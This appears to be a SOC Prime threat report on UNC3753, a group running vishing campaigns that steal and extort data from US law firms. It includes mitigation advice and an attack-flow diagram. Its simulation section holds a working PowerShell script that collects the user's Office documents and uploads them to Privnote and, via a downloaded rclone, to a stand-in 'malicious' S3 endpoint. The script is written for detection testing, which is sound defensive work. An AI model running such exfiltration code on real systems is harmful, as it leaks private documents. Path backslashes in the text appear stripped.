SOC Prime Bias: High

09 Jun 2026 12:25 UTC

Seeking Counsel: Ongoing Targeted Attacks Against US Law Firms

Author Photo
SOC Prime Team linkedin icon Follow
Seeking Counsel: Ongoing Targeted Attacks Against US Law Firms
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Summary

A financially motivated threat cluster tracked as UNC3753 is running vishing campaigns that trick victims into installing remote monitoring and management software. Once access is established, the actors steal sensitive legal and financial information and then extort the victim organization by threatening public exposure. The campaign is focused on U.S. professional services firms, particularly law firms, and may involve both cyber-enabled and physical data theft.

Investigation

Mandiant observed the complete intrusion cycle, from the initial voice-phishing call to data theft and extortion, sometimes within a single business day. Victims were convinced to use screen-sharing tools and RMM software such as AnyDesk, Bomgar, or a custom SuperOps installer delivered with a curl command. Data exfiltration was carried out using tools such as WinSCP, Rclone, or direct uploads to consumer cloud storage accounts.

Mitigation

Organizations should train staff to recognize vishing attempts, enforce strict verification procedures for any remote support request, and block unauthorized RMM and screen-sharing tools. Disabling removable media, monitoring for unusual outbound transfers to cloud storage or FTP destinations, applying conditional access controls to VDI, and enforcing MFA on critical document repositories can further reduce risk.

Response

If this activity is detected, isolate the affected endpoint immediately, terminate any unauthorized remote sessions, and remove installed RMM binaries. Investigators should collect command-line history, registry changes, and scheduled task artifacts for forensic review. Compromised credentials should be reset, data exfiltration should be assessed, and law enforcement engagement should be considered if extortion has begun.

"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef technique fill:#ccccff classDef operator fill:#ff9900 %% Node definitions initial_access["<b>Action</b> – <b>T1566.004 Phishing: Spearphishing Voice</b><br/><b>Description</b>: Attacker uses a convincing voice call to trick the target into providing credentials or executing malicious commands."] class initial_access action user_execution["<b>Action</b> – <b>T1204.002 Malicious File</b><br/><b>Tool</b>: cURL + MSI installer<br/><b>Description</b>: Victim runs a malicious MSI file downloaded via cURL, resulting in code execution on the system."] class user_execution action remote_desktop["<b>Action</b> – <b>T1219.002 Remote Desktop Software</b><br/><b>Tools</b>: Zoom, Microsoft Teams, AnyDesk<br/><b>Description</b>: Legitimate remoteu2011desktop or meeting applications are abused to maintain persistent remote access."] class remote_desktop action discovery["<b>Action</b> – <b>T1083 File and Directory Discovery</b> & <b>T1680 Local Storage Discovery</b><br/><b>Description</b>: Adversary enumerates files, directories and local storage locations to locate valuable data for exfiltration."] class discovery action data_staging["<b>Action</b> – <b>T1074 Data Staged</b> & <b>T1560 Archive Collected Data</b><br/><b>Description</b>: Collected files are staged locally and compressed into archives to prepare for exfiltration."] class data_staging action exfiltration["<b>Action</b> – <b>T1567.002 Exfiltration to Cloud Storage</b> & <b>T1020 Automated Exfiltration</b><br/><b>Target</b>: Google Drive<br/><b>Description</b>: Automated upload of staged archives to a cloud storage service for remote extraction."] class exfiltration action physical_media["<b>Action</b> – <b>T1052 Exfiltration Over Physical Medium</b><br/><b>Description</b>: Transfer of data onto removable media for offline exfiltration when network channels are restricted."] class physical_media action cleanup["<b>Action</b> – <b>T1070.001 Clear Windows Event Logs</b><br/><b>Description</b>: Deletion of Windows event logs to erase evidence of the intrusion."] class cleanup action %% Edge connections initial_access –>|leads_to| user_execution user_execution –>|enables| remote_desktop remote_desktop –>|enables| discovery discovery –>|leads_to| data_staging data_staging –>|enables| exfiltration exfiltration –>|leads_to| physical_media physical_media –>|followed_by| cleanup "

Attack Flow

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

  • Attack Narrative & Commands:

    1. Recon & Data Staging (T1005, T1083):
      The adversary enumerates user directories and copies all *.docx and *.xlsx files to a staging folder C:TempStagedData.

    2. Upload via Privnote (T1567.002):
      Using PowerShell, the attacker reads each file, base‑64‑encodes the content, and posts it to https://privnote.com/api/note. The command line includes the URL, which satisfies the selection_privnote condition.

    3. Transfer with Rclone (T1020):
      The attacker runs rclone.exe (downloaded on‑the‑fly) to push the staged files to a malicious S3 bucket. The process name “rclone.exe” matches selection_tool.

    4. Cleanup: Delete the staging folder and any residual binaries.

  • Regression Test Script: (PowerShell – self‑contained, no external dependencies beyond Invoke-WebRequest.)

    # -------------------------------------------------
    # UNC3753 Exfiltration Simulation – PowerShell
    # -------------------------------------------------
    # 1. Prepare staging directory
    $staging = "$env:USERPROFILETempStagedData"
    New-Item -ItemType Directory -Force -Path $staging | Out-Null
    
    # 2. Copy sample data (simulate data collection)
    Get-ChildItem -Path "$env:USERPROFILEDocuments" -Include *.docx, *.xlsx -Recurse -ErrorAction SilentlyContinue |
        ForEach-Object { Copy-Item -Path $_.FullName -Destination $staging -Force }
    
    # 3. Upload each file to Privnote (web‑service exfiltration)
    $privnoteUrl = "https://privnote.com/api/note"
    Get-ChildItem -Path $staging -File | ForEach-Object {
        $content = [Convert]::ToBase64String([IO.File]::ReadAllBytes($_.FullName))
        $body = @{ text = $content }
        # The URL appears in the command line -> triggers selection_privnote
        Invoke-WebRequest -Uri $privnoteUrl -Method POST -Body $body -UseBasicParsing | Out-Null
    }
    
    # 4. Download Rclone (if not present) and exfiltrate via S3
    $rcloneExe = "$env:TEMPrclone.exe"
    if (-not (Test-Path $rcloneExe)) {
        Invoke-WebRequest -Uri "https://downloads.rclone.org/rclone-current-windows-amd64.zip" -OutFile "$env:TEMPrclone.zip"
        Expand-Archive -Path "$env:TEMPrclone.zip" -DestinationPath $env:TEMP -Force
        Move-Item -Path (Get-ChildItem "$env:TEMPrclone-*-windows-amd64rclone.exe").FullName -Destination $rcloneExe -Force
    }
    
    # Configure a remote (malicious) S3 bucket – the config is written to a temporary file
    $rcloneConfig = @"
    [malicious
    type = s3
    provider = AWS
    access_key_id = AKIAFAKEKEY
    secret_access_key = fakeSecretKey123
    region = us-east-1
    endpoint = https://malicious-s3.example.com
    "@
    $configPath = "$env:TEMPrclone.conf"
    $rcloneConfig | Set-Content -Path $configPath -Encoding ASCII
    
    # Execute rclone copy – process name "rclone.exe" triggers selection_tool
    & $rcloneExe copy $staging "malicious:exfil" --config $configPath --log-level INFO
    
    # 5. Cleanup
    Remove-Item -Recurse -Force $staging
    Remove-Item -Force $rcloneExe, $configPath
  • Cleanup Commands:

    # Terminate any lingering WinSCP or Rclone processes
    Get-Process -Name WinSCP, rclone -ErrorAction SilentlyContinue | Stop-Process -Force
    
    # Delete temporary files left behind (if any)
    Remove-Item -Path "$env:TEMPWinSCP.exe","$env:TEMPWinSCP.zip","$env:TEMPrclone.zip","$env:TEMPrclone-*-windows-amd64" -Recurse -Force -ErrorAction SilentlyContinue

End of Report